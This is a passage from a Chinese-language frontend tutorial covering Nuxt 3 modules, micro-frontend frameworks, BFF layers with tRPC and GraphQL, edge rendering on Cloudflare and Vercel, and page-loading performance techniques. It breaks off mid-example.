// Nuxt 3 vs Next.js 对比
// 共同点:SSR/SSG、文件系统路由、API 路由、自动代码分割
// 区别:Nuxt 自动导入更激进、Vue 模板语法更直观、中文社区更好
Nuxt 3 vs Next.js 怎么选

选 Vue 就用 Nuxt,选 React 就用 Next.js。两者功能几乎对等,没有绝对的优劣。Nuxt 的优势:自动导入更彻底、配置更简单、中文社区更好。Next.js 的优势:生态更大、React 招聘需求更多、Vercel 部署体验最好。

Nuxt Content(Markdown 内容管理)

// Nuxt Content:用 Markdown/MDX/YAML 管理内容,无需数据库
// 安装:pnpm add @nuxt/content

// nuxt.config.ts
export default defineNuxtConfig({
  modules: ['@nuxt/content']
})

// content/articles/hello.md
// ---
// title: 我的第一篇文章
// date: 2026-06-01
// ---
// 这是正文内容,支持 **Markdown** 语法。

// 页面中查询内容
<script setup>
const { data: articles } = await queryContent('articles')
  .sort({ date: -1 })
  .find()
</script>

<template>
  <div v-for="article in articles" :key="article._path">
    <NuxtLink :to="article._path">{{ article.title }}</NuxtLink>
  </div>
</template>

// 单篇文章页面:pages/[...slug].vue
// <ContentDoc /> 组件可直接渲染 Markdown

Nuxt Image 图片优化

// @nuxt/image:自动优化图片(裁剪、格式转换、懒加载)
// 安装:pnpm add @nuxt/image

export default defineNuxtConfig({
  image: {
    quality: 80,
    format: ['webp', 'avif'],     // 自动转换为现代格式
    screens: { xs: 320, sm: 640, md: 768, lg: 1024, xl: 1280 }
  }
})

// 模板中使用(自动懒加载 + 响应式 srcset)
<template>
  <NuxtImg
    src="/photos/hero.jpg"
    width="800" height="600"
    loading="lazy"
    placeholder    // 自动显示模糊占位图
  />
</template>

Nitro 部署预设

// Nitro 是 Nuxt 3 的服务端引擎,支持一键部署到多个平台

export default defineNuxtConfig({
  nitro: {
    preset: 'node-server'          // Node.js 服务器
    // preset: 'vercel'            // Vercel(自动检测)
    // preset: 'netlify'           // Netlify
    // preset: 'cloudflare-pages'  // Cloudflare Pages
    // preset: 'aws-lambda'        // AWS Lambda
    // preset: 'firebase'          // Firebase Functions
  }
})

// 部署命令
// 通用:node .output/server/index.mjs
// Vercel:直接 git push,自动检测
// Cloudflare:npx nuxi build --preset cloudflare-pages
// 静态站点:npx nuxi generate → 输出到 .output/public/

Nuxt DevTools

// Nuxt DevTools:可视化调试工具(开发模式自动启用)

export default defineNuxtConfig({
  devtools: { enabled: true }   // 生产环境自动关闭
})

// 功能一览:
// 1. 组件树——查看页面组件层级、Props、状态
// 2. 路由——可视化路由表,点击跳转
// 3. Pinia——查看所有 Store 及其状态
// 4. 网络请求——查看 useFetch 的请求和响应
// 5. Payload——查看 SSR 传输到客户端的数据
// 6. Open Graph——预览 SEO 元标签
// 访问:开发模式下按 Shift+Alt+D 或点击底部 DevTools 按钮

Server Middleware(服务端中间件)

// server/middleware/:在每个 API 请求之前自动执行
// 适合:日志、认证、CORS、请求头注入

// server/middleware/log.ts
export default defineEventHandler((event) => {
  console.log(`[${new Date().toISOString()}] ${event.method} ${event.path}`)
})

// server/middleware/auth.ts
export default defineEventHandler((event) => {
  const token = getCookie(event, 'token') || getHeader(event, 'Authorization')
  event.context.user = null
  if (token) {
    try { event.context.user = verifyToken(token) } catch {}
  }
})

// 在 API 路由中使用中间件注入的上下文
// server/api/profile.ts
export default defineEventHandler((event) => {
  if (!event.context.user) {
    throw createError({ statusCode: 401, message: '请先登录' })
  }
  return event.context.user
})

61. 微前端架构

微前端把一个大型前端应用拆分成多个独立开发、独立部署的小应用。每个子应用可以由不同的团队开发,使用不同的技术栈(React、Vue、Angular),独立部署互不影响。

一个类比

微前端就像一个购物中心——每个店铺(子应用)独立经营、独立装修,但共享同一栋大楼(主应用)的水电和电梯(公共依赖和通信机制)。每个店铺可以由不同的团队管理,互不影响。

什么时候需要微前端

1
大型团队——多个团队并行开发同一个产品,需要独立部署、互不影响。
2
遗留系统迁移——老系统用 jQuery/AngularJS,新功能用 React/Vue,需要渐进式升级。
3
多产品聚合——把多个独立产品整合到一个统一的门户中。
微前端的代价

微前端不是银弹。它带来的问题:1)子应用之间通信复杂;2)公共依赖重复加载(React 可能加载多次);3)样式隔离需要额外处理;4)调试困难(跨应用断点)。如果团队小于 20 人,通常不需要微前端——用 Monorepo + 组件库就够了。

方案对比

方案原理优点缺点
qiankunJS 沙箱 + HTML Entry生态成熟,中文社区好性能一般,维护减少
Module FederationWebpack 5 原生模块共享真正的模块级共享需要 Webpack,配置复杂
wujieWebComponent + iframe性能好,隔离彻底较新,生态小
single-spa路由劫持 + 生命周期框架无关,灵活需要自己处理很多细节

qiankun 实现

// qiankun:最流行的微前端框架(蚂蚁金服出品)

// 主应用(React/Vue/Angular 均可)
import { registerMicroApps, start, setDefaultMountApp } from 'qiankun'

registerMicroApps([
  {
    name: 'react-app',
    entry: '//localhost:3001',     // 子应用的入口地址
    container: '#subapp',          // 子应用挂载的 DOM
    activeRule: '/react',          // URL 匹配时激活
    props: { token: 'xxx' }       // 传递给子应用的数据
  },
  {
    name: 'vue-app',
    entry: '//localhost:3002',
    container: '#subapp',
    activeRule: '/vue'
  }
])

setDefaultMountApp('/react')  // 默认加载的子应用
start({ prefetch: 'all' })    // 预加载所有子应用

// 子应用需要导出三个生命周期函数
export async function bootstrap() { console.log('子应用初始化') }
export async function mount(props) { console.log('子应用挂载', props) }
export async function unmount(props) { console.log('子应用卸载') }

// 子应用的 webpack/vite 配置需要设置打包格式为 umd
output: {
  library: 'reactApp',
  libraryTarget: 'umd',
  publicPath: '//localhost:3001/'
}

Module Federation(Webpack 5 原生)

// Module Federation:真正的模块级共享(不是应用级)
// 优势:共享 React/Vue 运行时,不重复加载

// 应用 A(暴露组件)
new ModuleFederationPlugin({
  name: 'appA',
  filename: 'remoteEntry.js',
  exposes: {
    './Button': './src/components/Button',
    './utils': './src/utils/index'
  },
  shared: {
    react: { singleton: true },      // 共享 React,只加载一次
    'react-dom': { singleton: true }
  }
})

// 应用 B(消费组件)
new ModuleFederationPlugin({
  name: 'appB',
  remotes: {
    appA: 'appA@http://localhost:3001/remoteEntry.js'
  },
  shared: {
    react: { singleton: true },
    'react-dom': { singleton: true }
  }
})

// 应用 B 中使用应用 A 的组件
const RemoteButton = React.lazy(() => import('appA/Button'))

function App() {
  return (
    <Suspense fallback={<div>加载中...</div>}>
      <RemoteButton />
    </Suspense>
  )
}
2026 年推荐

1)新项目如果需要微前端,首选 Module Federation(Vite 也有对应插件 @module-federation/vite);2)存量项目迁移用 qiankun 或 wujie;3)如果只是想共享组件库,用 Monorepo(pnpm workspace)就够了,不需要微前端。

样式隔离方案

// 微前端最头疼的问题:子应用样式互相污染
// 三种主流隔离方案:

// 1. Shadow DOM(浏览器原生隔离,最彻底)
class MicroApp extends HTMLElement {
  connectedCallback() {
    const shadow = this.attachShadow({ mode: 'open' })
    shadow.innerHTML = `
      <style>
        /* 这里的样式完全隔离,不影响外部,外部也影响不到 */
        h1 { color: red; }
      </style>
      <h1>子应用标题</h1>
    `
  }
}
// 缺点:第三方组件库(antd/Element)可能无法穿透 Shadow DOM

// 2. CSS Modules(构建时生成唯一类名)
// styles.module.css
// .title { color: red; }
import styles from './styles.module.css'
// 编译后:<h1 class="title_a3x2k">(自动加哈希后缀,不会冲突)

// 3. Scoped CSS(Vue 单文件组件原生支持)
// <style scoped>
//   .title { color: red; }  /* 自动加 [data-v-xxxx] 属性选择器 */
// </style>

共享依赖版本冲突

// 问题:主应用用 React 18,子应用 A 用 React 17,子应用 B 用 Vue 3
// 如果都打包进 bundle,用户要下载 3 份框架运行时

// 方案 1:externals + CDN(qiankun 常用)
// 子应用把 React 设为 external,由主应用统一提供
externals: { react: 'React', 'react-dom': 'ReactDOM' }
// 主应用通过 <script> 加载统一版本的 React

// 方案 2:Module Federation 的 shared(推荐)
// 配置 singleton: true,只加载一个版本
shared: {
  react: { singleton: true, requiredVersion: '^18.0.0' },
  'react-dom': { singleton: true, requiredVersion: '^18.0.0' }
}

// 方案 3:Import Maps(浏览器原生,2026 年支持良好)
// <script type="importmap">
// { "imports": { "react": "https://cdn.skypack.dev/react@18" } }
// </script>

应用间通信模式

// 微前端子应用是独立应用,不能直接 import 对方的模块
// 四种通信方式:

// 1. CustomEvent(最简单,适合低频通信)
// 子应用 A 发送事件
window.dispatchEvent(new CustomEvent('micro-app-msg', {
  detail: { type: 'USER_LOGIN', data: { id: 1, name: '张三' } }
}))
// 子应用 B 监听事件
window.addEventListener('micro-app-msg', (e) => {
  console.log('收到消息:', e.detail)
})

// 2. 共享状态(qiankun 的 initGlobalState)
import { initGlobalState } from 'qiankun'
const actions = initGlobalState({ user: null, theme: 'light' })
actions.onGlobalStateChange((state) => console.log('状态变化:', state))
actions.setGlobalState({ user: { id: 1 } })

// 3. URL 参数 / localStorage(适合持久化数据)
localStorage.setItem('shared-data', JSON.stringify({ token: 'xxx' }))

// 4. 发布订阅(适合复杂场景)
// 使用 mitt 或 eventemitter3 等库

qiankun 沙箱机制

// qiankun 的核心:JS 沙箱 + 样式沙箱,防止子应用污染全局

// JS 沙箱(三种模式):
// 1. Proxy 沙箱(推荐,多实例并行)
//    用 Proxy 代理 window,子应用修改的都是副本
const fakeWindow = {}
const proxy = new Proxy(fakeWindow, {
  get(target, key) { return key in target ? target[key] : window[key] },
  set(target, key, value) { target[key] = value; return true }
})
// 子应用执行 JS 时,window 指向 proxy
// 卸载时丢弃 fakeWindow,全局状态自动恢复

// 2. Snapshot 沙箱(IE 降级方案)
//    激活前拍快照 windowA,卸载时恢复快照

// 3. 快照沙箱 + Proxy 沙箱配合使用

// 样式沙箱:
// 1. Shadow DOM 模式(strictStyleIsolation)
//    子应用的 DOM 包裹在 Shadow Root 中,样式完全隔离
// 2. Scoped 模式(experimentalStyleIsolation,默认)
//    给子应用的选择器加前缀,类似 Vue scoped 的原理
//    .ant-btn → .app-name .ant-btn

62. BFF 与全栈开发

BFF(Backend for Frontend)是"为前端定制的后端层"。在微服务架构中,后端有很多独立的服务(用户服务、订单服务、商品服务),前端直接调用它们太复杂。BFF 作为中间层,帮前端聚合、裁剪、转换数据。

一个类比

微服务就像一个大公司的各个部门(人事部、财务部、技术部)。如果你需要同时获取员工信息、工资数据、项目进度,你不需要分别跑三个部门——找一个"助理"(BFF)帮你跑腿,汇总好再给你一份报告。

BFF 解决什么问题

// 没有 BFF:前端直接调多个微服务
// 问题:1)前端需要知道每个服务的地址
//       2)多次网络请求,首屏慢
//       3)前端要处理数据聚合逻辑

const users = await fetch('http://user-service/api/users').then(r => r.json())
const orders = await fetch('http://order-service/api/orders').then(r => r.json())
const products = await fetch('http://product-service/api/products').then(r => r.json())
// 3 次请求,前端要自己合并数据

// 有 BFF:前端只调 BFF 一个接口
const dashboard = await fetch('/api/dashboard').then(r => r.json())
// 1 次请求,BFF 帮你聚合好

Next.js API Routes 作为 BFF

// app/api/dashboard/route.ts
export async function GET() {
  // 并行调用多个微服务
  const [users, orders, products] = await Promise.all([
    fetch('http://user-service/api/users').then(r => r.json()),
    fetch('http://order-service/api/orders').then(r => r.json()),
    fetch('http://product-service/api/products').then(r => r.json())
  ])

  // 聚合成前端需要的格式
  return Response.json({
    userCount: users.length,
    todayOrders: orders.filter(o => isToday(o.createdAt)),
    topProducts: products.sort((a, b) => b.sales - a.sales).slice(0, 10)
  })
}

// 剽窃保护:BFF 可以添加认证、限流、缓存
export async function GET(request) {
  // 认证检查
  const token = request.headers.get('Authorization')
  if (!token) return Response.json({ error: 'Unauthorized' }, { status: 401 })

  // 限流
  const ip = request.headers.get('x-forwarded-for')
  if (isRateLimited(ip)) return Response.json({ error: 'Too many requests' }, { status: 429 })

  // 缓存
  const cached = await redis.get('dashboard')
  if (cached) return Response.json(cached)

  const data = await fetchDashboardData()
  await redis.set('dashboard', data, 'EX', 60)  // 缓存 60 秒
  return Response.json(data)
}

tRPC:类型安全的全栈通信

// tRPC:不需要手动定义接口,前后端共享 TypeScript 类型
// 安装:pnpm add @trpc/server @trpc/client zod

// 服务端:定义路由
import { initTRPC } from '@trpc/server'
import { z } from 'zod'

const t = initTRPC.create()
const router = t.router
const publicProcedure = t.procedure

export const appRouter = router({
  getUser: publicProcedure
    .input(z.object({ id: z.number() }))
    .query(({ input }) => {
      return db.user.findUnique({ where: { id: input.id } })
    }),

  createUser: publicProcedure
    .input(z.object({ name: z.string(), email: z.string().email() }))
    .mutation(({ input }) => {
      return db.user.create({ data: input })
    })
})

// 客户端:直接调用,完整类型提示
const user = await trpc.getUser.query({ id: 1 })  // user 的类型自动推导
await trpc.createUser.mutate({ name: '张三', email: '...' })

// tRPC 的优势:
// 1. 前后端共享类型,改后端接口前端立刻知道
// 2. 不需要手写 API 文档(类型就是文档)
// 3. 自动类型推导,不需要手动 as
// 4. 适合 Monorepo(前后端在同一个仓库)
BFF vs 直接调微服务

小项目(团队 < 10 人)不需要 BFF——直接在 Next.js API Routes 中调数据库就够了。大项目(微服务架构、多团队协作)需要 BFF——聚合数据、统一认证、解耦前后端。2026 年推荐:用 tRPC 替代手写 REST API(类型安全、开发效率高)。

BFF 缓存策略

// BFF 层缓存是性能优化的关键,三种方案各有适用场景

// 1. Redis 缓存(分布式,适合多实例部署)
import Redis from 'ioredis'
const redis = new Redis()

async function getCachedUser(id) {
  const cacheKey = `user:${id}`
  const cached = await redis.get(cacheKey)
  if (cached) return JSON.parse(cached)
  const user = await db.user.findUnique({ where: { id } })
  await redis.set(cacheKey, JSON.stringify(user), 'EX', 300) // 5 分钟过期
  return user
}

// 2. 内存缓存(单实例,速度最快)
import { LRUCache } from 'lru-cache'
const memCache = new LRUCache({ max: 1000, ttl: 1000 * 60 * 5 })

// 3. CDN 缓存(静态资源 + 可缓存的 API 响应)
Response.json(data, {
  headers: { 'Cache-Control': 'public, s-maxage=60, stale-while-revalidate=300' }
})

BFF 限流算法

// 两种主流限流算法,防止 BFF 被恶意请求打垮

// 1. 令牌桶(Token Bucket)——允许突发流量
class TokenBucket {
  constructor(capacity, refillRate) {
    this.capacity = capacity      // 桶容量
    this.tokens = capacity        // 当前令牌数
    this.refillRate = refillRate  // 每秒补充速率
    this.lastRefill = Date.now()
  }
  consume() {
    const now = Date.now()
    const elapsed = (now - this.lastRefill) / 1000
    this.tokens = Math.min(this.capacity, this.tokens + elapsed * this.refillRate)
    this.lastRefill = now
    if (this.tokens >= 1) { this.tokens--; return true }
    return false  // 令牌不足,拒绝请求
  }
}

// 2. 滑动窗口(Sliding Window)——精确控制单位时间请求数
function slidingWindow(ip, limit = 100, windowMs = 60000) {
  const now = Date.now()
  const timestamps = windowCache.get(`rate:${ip}`) || []
  const valid = timestamps.filter(t => now - t < windowMs)
  valid.push(now)
  windowCache.set(`rate:${ip}`, valid)
  return valid.length <= limit
}

tRPC 错误处理与中间件

// tRPC 的错误处理和中间件机制

import { initTRPC, TRPCError } from '@trpc/server'
import { z } from 'zod'
const t = initTRPC.create()

// 日志中间件(所有请求都会经过)
const loggerMiddleware = t.middleware(async ({ path, type, next }) => {
  const start = Date.now()
  const result = await next()
  console.log(`${type} ${path} - ${Date.now() - start}ms`)
  return result
})

// 认证中间件
const authMiddleware = t.middleware(({ ctx, next }) => {
  if (!ctx.user) {
    throw new TRPCError({ code: 'UNAUTHORIZED', message: '请先登录' })
  }
  return next({ ctx: { user: ctx.user } })
})

const publicProcedure = t.procedure.use(loggerMiddleware)
const protectedProcedure = t.procedure.use(authMiddleware)

export const appRouter = t.router({
  getPosts: publicProcedure.query(() => db.post.findMany()),
  getProfile: protectedProcedure.query(({ ctx }) => ctx.user),
  updateUser: protectedProcedure
    .input(z.object({ name: z.string().min(2) }))
    .mutation(async ({ input, ctx }) => {
      try {
        return await db.user.update({ where: { id: ctx.user.id }, data: input })
      } catch (e) {
        throw new TRPCError({ code: 'INTERNAL_SERVER_ERROR', message: '更新失败' })
      }
    })
})

GraphQL 作为 BFF 对比

// GraphQL vs REST/tRPC 作为 BFF 的对比

// GraphQL 的优势:客户端按需查询,不多不少
// query { user(id: 1) { name, orders(limit: 5) { total } } }

// Apollo Server 作为 BFF
import { ApolloServer } from '@apollo/server'
const typeDefs = `#graphql
  type User { id: ID!, name: String!, orders: [Order!]! }
  type Order { id: ID!, total: Float! }
  type Query { user(id: ID!): User }
`
const resolvers = {
  Query: {
    user: (_, { id }) => fetch(`http://user-service/api/users/${id}`).then(r => r.json())
  },
  User: {
    orders: (user) => fetch(`http://order-service/api/orders?userId=${user.id}`).then(r => r.json())
  }
}

// 对比总结:
// REST——简单、缓存友好、工具成熟;缺点:over-fetching、多请求
// tRPC——类型安全、零成本、适合内部 BFF;缺点:仅 TypeScript 生态
// GraphQL——灵活查询、类型自省;缺点:复杂度高、缓存难、学习曲线陡
// 2026 推荐:内部系统用 tRPC,对外 API 用 REST,复杂查询场景用 GraphQL

63. 边缘渲染与 CDN

边缘渲染(Edge Rendering)把代码部署到全球各地的 CDN 节点上运行。用户访问时,请求被路由到离他最近的节点——延迟从 200ms 降到 20ms。这是 2026 年前端性能优化的前沿方向。

一个类比

传统服务器像一个中央仓库——所有订单都从北京发货,新疆的用户要等好几天。边缘渲染像全国连锁仓库——用户下单后,从最近的城市发货,当天就到。Cloudflare、Vercel 在全球有几百个节点,你的代码在每个节点都能运行。

边缘运行时 vs Node.js 运行时

特性Node.js 运行时Edge 运行时
启动速度慢(冷启动 500ms+)极快(<5ms)
全球延迟取决于服务器位置全球 <50ms(就近执行)
API 支持完整 Node.js APIWeb 标准 API(受限)
NPM 包全部支持只支持 Edge 兼容的包
适用场景复杂后端逻辑轻量级逻辑(认证、重定向、A/B 测试)

Next.js Edge Middleware

// middleware.ts(在请求到达页面之前执行)
import { NextResponse } from 'next/server'

export const config = { runtime: 'edge' }

export function middleware(request) {
  const token = request.cookies.get('token')
  const { pathname } = request.nextUrl

  // 认证检查(在边缘节点执行,全球都快)
  if (pathname.startsWith('/admin') && !token) {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  // A/B 测试(根据地理位置)
  const country = request.geo?.country || 'US'
  const locale = country === 'CN' ? 'zh' : 'en'

  // 重写 URL(用户无感知)
  const url = request.nextUrl.clone()
  url.pathname = `/${locale}${pathname}`
  return NextResponse.rewrite(url)
}

// 注意:Edge Middleware 不能用 Node.js API(fs、path 等)
// 只能用 Web 标准 API(fetch、Request、Response、URL)

Cloudflare Workers

// Cloudflare Workers:在 Cloudflare 边缘节点运行的 JS 代码
// 免费额度:每天 10 万次请求

// wrangler.toml
// name = "my-worker"
// main = "src/index.ts"
// compatibility_date = "2024-01-01"

export default {
  async fetch(request, env) {
    const url = new URL(request.url)

    // API 路由
    if (url.pathname === '/api/hello') {
      return new Response(JSON.stringify({ message: 'Hello from the edge!' }), {
        headers: { 'Content-Type': 'application/json' }
      })
    }

    // 代理请求
    if (url.pathname.startsWith('/api/')) {
      const backendUrl = `https://backend.example.com${url.pathname}`
      return fetch(backendUrl, request)
    }

    // KV 存储(键值数据库,全球分布式)
    await env.MY_KV.put('key', 'value')
    const value = await env.MY_KV.get('key')

    return fetch(request)
  }
}
边缘渲染的适用场景

1)认证检查——在边缘验证 Token,无效请求直接拒绝,不到达后端;2)A/B 测试——在边缘决定用户看到哪个版本;3)地理重定向——根据用户位置重定向到对应语言/地区;4)API 网关——在边缘做限流、缓存、请求转发;5)个性化内容——根据 Cookie/Headers 返回不同内容。不适合:复杂数据库查询、重型计算。

边缘数据库

// 边缘数据库:数据也部署到全球边缘节点,与边缘计算配合
// 解决"代码在边缘跑,但数据库还在远方"的问题

// Turso(基于 libSQL/SQLite 的边缘数据库)
// 数据库副本分布在全球 30+ 个节点,读取延迟 <10ms
import { createClient } from '@libsql/client'

const db = createClient({
  url: 'libsql://my-db.turso.io',
  authToken: process.env.TURSO_AUTH_TOKEN,
})

// 在 Next.js Server Component 或 Edge Function 中直接查询
export default async function ProductPage({ params }) {
  const result = await db.execute({
    sql: 'SELECT * FROM products WHERE id = ?',
    args: [params.id]
  })
  return <div>{result.rows[0].name}</div>
}

// PlanetScale Edge(MySQL 兼容的无服务器数据库)
// 通过 @planetscale/database 驱动,在 Edge 运行时使用
import { connect } from '@planetscale/database'
const conn = connect({ url: process.env.DATABASE_URL })
const results = await conn.execute('SELECT * FROM posts WHERE published = ?', [true])

边缘缓存策略

// stale-while-revalidate:返回缓存的同时后台刷新
// 用户永远不等待,始终拿到快速响应(可能略旧)

// Cloudflare Workers 中实现 SWR
export default {
  async fetch(request, env) {
    const cache = caches.default
    const cacheKey = new Request(request.url, request)
    let response = await cache.match(cacheKey)

    if (response) {
      // 有缓存:先返回旧数据,后台刷新
      const age = Date.now() - new Date(response.headers.get('swr-timestamp')).getTime()
      if (age > 60000) {  // 超过 60 秒,后台刷新
        const refreshPromise = fetchFromOrigin(request).then(fresh => {
          const cached = new Response(fresh.body, fresh)
          cached.headers.set('swr-timestamp', new Date().toISOString())
          cache.put(cacheKey, cached.clone())
          return cached
        })
        // 不等待,直接返回旧缓存
        event.waitUntil(refreshPromise)
      }
      return response
    }

    // 无缓存:从源站获取并缓存
    response = await fetchFromOrigin(request)
    const cached = new Response(response.body, response)
    cached.headers.set('swr-timestamp', new Date().toISOString())
    await cache.put(cacheKey, cached.clone())
    return cached
  }
}

// Next.js App Router 中:export const revalidate = 60 等价于 ISR SWR
// CDN 层面自动处理 stale-while-revalidate

Edge 运行时限制

// Edge 运行时不是万能的,有严格限制:

// 1. 包大小限制
// Cloudflare Workers:压缩后 1MB(免费)/ 10MB(付费)
// Vercel Edge Functions:压缩后 4MB
// Netlify Edge Functions:压缩后 20MB
// 对策:Tree Shaking + 不引入重型依赖(如 moment → dayjs)

// 2. 执行时间限制
// Cloudflare Workers:免费 10ms CPU 时间 / 付费 30s
// Vercel Edge Functions:默认 30s(可配置到 300s)
// Netlify Edge Functions:默认 10s
// 对策:把耗时操作放到 Node.js 运行时或后台任务

// 3. 内存限制
// Cloudflare Workers:128MB
// Vercel Edge Functions:128MB
// 对策:不要在边缘做大数据处理,只做轻量逻辑

// 4. 不支持的 API
// ❌ fs(文件系统)、child_process、dgram
// ❌ 部分 Node.js 内置模块(crypto 部分、net、tls)
// ❌ 长连接(WebSocket 在部分平台受限)
// ✅ fetch、Request、Response、URL、TextEncoder、crypto.subtle

// 实际选择建议:
// 轻量逻辑(认证、重定向、A/B 测试)→ Edge
// 复杂查询、文件处理、长时间任务 → Node.js 运行时
边缘架构决策指南

1)读多写少的数据用边缘数据库(Turso),读延迟 <10ms;2)高频访问的 API 用 SWR 缓存策略,用户永不等待;3)注意包大小——Edge 运行时对 bundle 有严格限制,避免引入重型库;4)混合部署——轻量逻辑走 Edge,重型逻辑走 Node.js,两者通过 API 互通。

第九部分 · 性能优化

64. 性能度量与工具

优化之前,先度量。不能凭感觉优化,要用数据说话。这一章介绍前端性能的核心指标和度量工具。

一个类比

性能优化就像体检——你不能凭感觉说"我身体很好"。需要量血压(LCP)、测心率(INP)、查体重(CLS)。有了数据,才知道哪里需要改善。

Core Web Vitals(核心性能指标)

指标含义良好需改进差
LCP最大内容绘制(首屏主要内容出现时间)≤ 2.5s2.5-4s> 4s
INP交互延迟(用户操作到页面响应的时间)≤ 200ms200-500ms> 500ms
CLS累计布局偏移(页面元素意外移动)≤ 0.10.1-0.25> 0.25
// 测量 Core Web Vitals
// 安装:pnpm add web-vitals
import { onLCP, onINP, onCLS } from 'web-vitals'

function sendToAnalytics(metric) {
  // metric 包含:name、value、rating、entries、id
  const body = JSON.stringify({
    name: metric.name,
    value: metric.value,
    rating: metric.rating,  // 'good' | 'needs-improvement' | 'poor'
    page: location.pathname
  })
  navigator.sendBeacon('/api/vitals', body)
}

onLCP(sendToAnalytics)   // 最大内容绘制
onINP(sendToAnalytics)   // 交互延迟
onCLS(sendToAnalytics)   // 布局偏移

Lighthouse 审计

// Lighthouse 是 Chrome DevTools 内置的综合审计工具
// 打开方式:F12 → Lighthouse → Analyze page load

// 审计内容:
// 1. Performance(性能)—— LCP、FID、CLS、TTFB、FCP
// 2. Accessibility(无障碍)—— 对比度、ARIA、键盘导航
// 3. Best Practices(最佳实践)—— HTTPS、控制台错误、安全头
// 4. SEO(搜索引擎优化)—— meta 标签、结构化数据、链接

// 命令行运行(CI/CD 中使用)
// pnpm add -D @lhci/cli
// lhci autorun

// 性能评分标准:
// 90-100 分:优秀(绿色)
// 50-89 分:需改进(橙色)
// 0-49 分:差(红色)

Chrome DevTools Performance 面板

// Performance 面板:录制页面操作,分析性能瓶颈
// F12 → Performance → 点击录制按钮 → 操作页面 → 停止录制

// 关注的指标:
// 1. FPS(帧率)—— 绿色越高越好,红色条表示掉帧
// 2. Main(主线程)—— 红色长条表示长任务(Long Task > 50ms)
// 3. Network(网络)—— 查看请求的排队和下载时间
// 4. Timings(时间线)—— FCP、LCP、DCL 等关键时间点

// 常见性能问题:
// 长任务(Long Task):JS 执行超过 50ms,阻塞主线程
// 布局抖动(Layout Thrashing):读写 DOM 交替,触发多次重排
// 过多重绘(Excessive Repaints):频繁修改样式触发重绘
性能优化的工作流

1)度量——用 Lighthouse 审计,记录当前分数;2)定位——用 Performance 面板找出最大的瓶颈;3)优化——针对瓶颈做优化(不要盲目优化);4)验证——重新度量,确认优化效果;5)监控——上线后用 Core Web Vitals 持续监控。

65. 加载性能

加载性能直接影响用户留存——页面加载每慢 1 秒,用户流失率增加 7%。这一章介绍减少页面加载时间的核心策略。

代码分割(Code Splitting)

// 问题:一个 JS 文件 2MB,加载需要 3 秒
// 解决:把代码拆成多个小文件,按需加载

// 1. 路由级别分割(最常用、效果最明显)
import { lazy, Suspense } from 'react'
const Dashboard = lazy(() => import('./pages/Dashboard'))
const Settings = lazy(() => import('./pages/Settings'))

function App() {
  return (
    <Suspense fallback={<LoadingSpinner />}>
      <Routes>
        <Route path="/dashboard" element={<Dashboard />} />
        <Route path="/settings" element={<Settings />} />
      </Routes>
    </Suspense>
  )
}

// 2. 组件级别分割(条件渲染的重型组件)
const HeavyChart = lazy(() => import('./components/HeavyChart'))

function Analytics() {
  const [showChart, setShowChart] = useState(false)
  return (
    <div>
      <button onClick={() => setShowChart(true)}>显示图表</button>
      {showChart && (
        <Suspense fallback={<div>图表加载中...</div>}>
          <HeavyChart />
        </Suspense>
      )}
    </div>
  )
}

// 效果:首屏只加载当前页面的代码,其他页面按需加载
// 首屏 JS 从 2MB 降到 200KB,加载时间从 3 秒降到 0.5 秒

Tree Shaking

// Tree Shaking:移除未使用的代码(死代码消除)
// Vite/Rollup 自动处理,前提是你用 ESM 格式

// ❌ 打包整个 lodash(4MB)
import _ from 'lodash'
_.debounce(fn, 300)

// ✅ 只打包 debounce(2KB)
import { debounce } from 'lodash-es'
debounce(fn, 300)

// ❌ 打包整个 antd
import { Button } from 'antd'

// ✅ 按需引入(Vite 自动处理,不需要 babel-plugin-import)
import { Button } from 'antd'

// 确保 Tree Shaking 生效的条件:
// 1. 使用 ESM 格式(import/export)
// 2. package.json 中设置 "sideEffects": false
// 3. 不要在顶层有副作用代码

资源优化

// 1. 图片优化(最大的加载瓶颈)
// 使用 Next.js Image 组件(自动优化)
import Image from 'next/image'
<Image src="/photo.jpg" width={800} height={600} alt="照片"
  placeholder="blur" priority />
// 自动:WebP/AVIF 转换、懒加载、响应式尺寸、模糊占位

// 手动优化图片
// 格式:WebP 比 JPEG 小 25-34%,AVIF 比 WebP 再小 20%
// 尺寸:不要用 4000px 的图片显示在 400px 的容器里
// 压缩:用 sharp(Node.js)或 Squoosh(在线工具)

// 2. 字体优化
@font-face {
  font-family: 'Inter';
  src: url('/fonts/inter-latin.woff2') format('woff2');
  unicode-range: U+0000-00FF;  // 只加载拉丁字符(中文同理,按需加载子集)
  font-display: swap;          // 先用系统字体,加载完再切换
}

// 3. 资源提示(告诉浏览器提前准备)
<link rel="preload" href="/fonts/inter.woff2" as="font" crossorigin />
<link rel="dns-prefetch" href="//cdn.example.com" />
<link rel="preconnect" href="https://api.example.com" />
加载性能优化清单

1)代码分割(路由级别 + 组件级别);2)Tree Shaking(用 ESM,按需引入);3)图片优化(WebP/AVIF + 懒加载 + 响应式尺寸);4)字体优化(woff2 + 子集 + font-display: swap);5)CDN 加速(静态资源放到 CDN);6)HTTP 缓存(带 hash 的文件设长期缓存);7)Gzip/Brotli 压缩(服务器开启)。

Critical CSS 内联策略

// 问题:CSS 阻塞渲染——浏览器必须等 CSS 下载完才显示页面
// 解决:把首屏需要的 CSS 内联到 HTML,其余异步加载

// 1. 提取 Critical CSS(用 critters 插件,Vite/Next.js 内置)
// vite.config.js
import critters from 'critters'
export default {
  plugins: [critters({
    preload: 'swap',        // 非关键 CSS 用 rel="preload" 加载
    inlineThreshold: 0.2,   // 小于 0.2KB 的 CSS 直接内联
  })]
}

// 2. 手动内联关键样式(适用于简单页面)
// 在 <head> 中直接写首屏需要的 CSS
<style>
  /* 首屏可见区域的样式 */
  .hero { min-height: 100vh; display: flex; align-items: center; }
  .header { position: fixed; width: 100%; z-index: 100; }
</style>
// 非关键样式异步加载(不阻塞渲染)
<link rel="preload" href="/styles/full.css" as="style"
  onload="this.onload=null;this.rel='stylesheet'" />

// 3. 效果对比
// 优化前:FCP = 2.1s(等 CSS 下载完才渲染)
// 优化后:FCP = 0.8s(首屏样式已内联,立即渲染)

骨架屏(Skeleton Screen)实现

// 骨架屏:数据加载前显示页面结构占位,减少用户感知的等待时间
// 比 Loading Spinner 更好——用户提前知道页面结构

// React 骨架屏组件
function Skeleton({ width = '100%', height = 20, borderRadius = 4 }) {
  return (
    <div
      style={{
        width, height, borderRadius,
        background: 'linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%)',
        backgroundSize: '200% 100%',
        animation: 'shimmer 1.5s infinite',
      }}
    />
  )
}

// CSS 动画
// @keyframes shimmer {
